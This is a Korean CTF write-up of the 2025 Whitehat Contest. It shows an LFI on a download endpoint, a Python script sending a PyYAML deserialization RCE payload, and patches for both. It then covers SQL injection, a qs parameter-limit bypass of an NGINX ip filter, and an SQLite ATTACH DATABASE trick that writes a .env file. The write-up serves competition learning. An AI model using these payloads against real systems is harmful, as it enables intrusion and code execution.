All notes
CTF Article / 2025

2025 Whitehat Contest Write-Up

Quals

예선에 웹 문제 좀만 더 내주면 좋겠다. 두 문제 풀고 할 거 없어서 하지도 못하는 포렌식 잡느라 힘들었다.

예선에선 다 리얼월드 형태의 문제들이 출제 되었다. 한 가지 시나리오를 가지고 1에서 5번까지의 시나리오 문제를 풀어내야 했고 공격자 침투 경로 따라서 플래그 따주면 된다. 웹 요소가 포함 되어있는건 시나리오 1-1 ~ 1-5 문제였는데, 이것도 1-1, 1-2만 웹이고 나머지는 리버싱 암호학 등이다.

Scenario 1-1

공격자가 서버의 취약점을 가지고 셸을 땄다고 한다. 우리도 똑같이 침투해서 서버내에 있는 플래그를 얻어야한다.

접속해보면 공공 데이터 공유 서비스가 있고 딱봐도 수상해보이는 download 기능이 있다.

http://54.180.78.10/download?file=traffic.json

LFI가 터지므로 여기서 적당히 게싱해서 아래 파일들을 읽어온다.

  • /app/app.py
  • /app/route/theme.py
  • /app/route/file.py
  • /app/Dockerfile
  • /app/requirements.txt

중요한 파일 내용만 보자면

COPY . $APP_HOME
RUN FLAG_CONTENT=$(cat $APP_HOME/flag.txt) && \
    echo "$FLAG_CONTENT" > "/$FLAG_CONTENT" && \
    chmod 400 "/$FLAG_CONTENT" && \
    chown root:root "/$FLAG_CONTENT" && \
    rm $APP_HOME/flag.txt

플래그 자체가 파일명이 되어 루트 경로로 들어가 있다.

Flask==3.0.3
PyYAML==5.3.1
gunicorn==23.0.0

PyYAML 모듈이 5.3.1 구버전이라 RCE CVE가 존재한다.

@theme_bp.post("/api/theme/preview")
def preview_theme():
    body = request.data.decode("utf-8", "ignore")
    if len(body) > 2**7:
        return jsonify({"error": "Body is too long"})
    try:
        parsed: Any = yaml.load(body, Loader=yaml.FullLoader)

        colors: Dict[str, str] = {}
        if isinstance(parsed, dict) and isinstance(parsed.get("colors"), dict):
            colors = {
                "primary": str(parsed["colors"].get("primary", "#336699")),
                "accent": str(parsed["colors"].get("accent", "#88aadd")),
            }
        write_theme_css(colors)
    except Exception:
        write_theme_css({"primary": "#336699", "accent": "#88aadd"})

    try:
        return jsonify({"ok": repr(parsed)})
    except Exception:
        return jsonify({"error": "Failed to parse YAML"})

theme.py에서 load()를 사용하고 있으므로 취약점을 트리거 할 수 있다.

import yaml
import requests
import time
import base64

url = 'http://54.180.78.10/api/theme/preview'

def exploit():
  payload1 = f"""!!python/object/new:tuple [!!python/object/new:map [!!python/name:eval , ['__import__("os").listdir("/")']]]"""
  print(len(payload1))
  res = requests.post(url, data = payload1)
  print(res.json())

exploit()

이런식으로 루트 경로 읽어와주면 된다.

whitehat2025{dc50ad05f7db236ea24f3c8258289ecf839412025e0b84b0619de24e77f3de93}

Scenario 1-2

이제 여기서 찾은 취약점들을 패치하면 플래그를 준다.

간단해서 딱히 설명할것도 없다.

LFI 패치

@files_bp.get("/download")
def download_file():
    rel = request.args.get("file", "")
    full_path = os.path.join(BASE_DIR, rel)
rel = request.args.get("file", "")
rel = rel.replace("..", "")
rel = rel.replace("/", "")

어차피 서버에서 요구하는건 파일명이므로 / .. 다 제거시켜주면 된다.

RCE 패치

이건 그냥 모듈에서 safe_load라는걸 지원한다.

parsed: Any = yaml.safe_load(body)

whitehat2025{b8b18dae5b0aed7d538d030604fbaeb6e1ac1960de20e06e01daa21b9627f113}


Final

Lemo (Web)

파일 수정과 게시판 기능이 있는 서비스였고, 백엔드는 Deno + Fresh 프레임워크, 프록시는 NGINX 구성이었다.
Flag는 /flag 에 존재했다.

취약점 분석

1-1. SQL Injection

누가봐도 SQLI가 터질거 같이 생긴 함수가 회원가입 기능에 존재한다.

export function createUser(username: string, password: string, role: Role = Role.USER) {
  const result = db.exec(`INSERT INTO users (username, password, role) VALUES ('${username}', '${password}', ${role})`);
  return result;
}

이를 통해 관리자 계정을 생성할 수 있다.

1-2. Nginx Filtering

Nginx에서 url query를 sanitizing 하며 ip 파라미터가 존재하면 임의로 바꿔버린다.

function fix(r) {
    var out = [];
    var args = r.args;

    for (var k in args) {
        if (!Object.prototype.hasOwnProperty.call(args, k))
            continue;

        if (k === 'ip')
            continue;

        var v = args[k];
        if (Array.isArray(v)) {
            for (var i = 0; i < v.length; i++) {
                out.push(k + '=' + encodeURIComponent(v[i]));
            }
        } else {
            out.push(k + '=' + encodeURIComponent(v));
        }
    }

    var real_ip = r.variables.remote_addr || "";
    out.push('ip=' + real_ip);
    return out.join('&');
}

export default { fix };

1-3. Middleware

import type { FreshContext } from '$fresh/server.ts';

export async function handler(req: Request, ctx: FreshContext) {
  ctx.state = ctx.state ?? {};

  const ip = ctx.state.ip;
  const NODE_ENV = Deno.env.get('NODE_ENV') ?? 'production';

  console.log(ip, NODE_ENV);
  if (ip !== '127.0.0.1' || NODE_ENV !== 'development')
    return new Response('403 Forbidden', { status: 403 });

  return await ctx.next();
}

관리자 페이지에서 임의의 파일을 쓰기 위해서는 ip가 127.0.0.1이어야하며, NODE_ENV 값이 development여야 한다.


Exploit

SQLI로 admin 권한을 얻고 routes/에 존재하는 파일들을 읽어올 수 있다. 그러나 Deno는 sandboxing 되어있기에 routes를 벗어나 바로 flag를 읽을 수는 없다.

async function parseQuery(req: Request) {
  const url = new URL(req.url);

  const rawQS = url.search?.length ? url.search.slice(1) : '';

  const parsed = qs.parse(rawQS);

  console.log(parsed);

  return parsed;
}

export async function handler(req: Request, ctx: FreshContext) {
  ctx.state = ctx.state ?? {};
  ctx.state.query = await parseQuery(req);
  if (ctx.state.query.ip) {
    if (typeof ctx.state.query.ip !== 'string') {
      return new Response('400 Bad Request', { status: 400 });
    }
    ctx.state.ip = ctx.state.query.ip;
  } else {
    ctx.state.ip = '127.0.0.1';
  }

  return await ctx.next();
}

전역적으로 적용된 미들웨어를 보면 수상하게 qs.parse를 사용한다. qs모듈에는 maxQueryLimit = 1000이 기본적으로 설정되어 있어 쿼리를 1000개 넘게 주면 뒤에가 잘리게 된다. 이를 통해 nginx단에서 붙여주는 ip를 날리고 127.0.0.1을 집어넣을 수 있다.

NODE_ENV 우회

이걸 생각을 못해서 못풀었다. SQLI를 admin만 따고 끝내는게 아니라,

ATTACH DATABASE '.env' AS env;
CREATE TABLE env.t(t TEXT);
INSERT INTO env.t VALUES('NODE_ENV=development' || CAST(X'0A' AS TEXT));

이런식으로 .env를 생성해 NODE_ENV를 덮을 수 있다.

이러면 writeTextFile()을 사용할 수 있게된다.

FFI

"preview": "deno run --allow-net --allow-ffi --allow-env --allow-read=. --allow-write=routes/ --watch=routes/ main.ts",

allow-ffi가 적용되어 있어 ffi로 플래그를 읽을 수 있었다.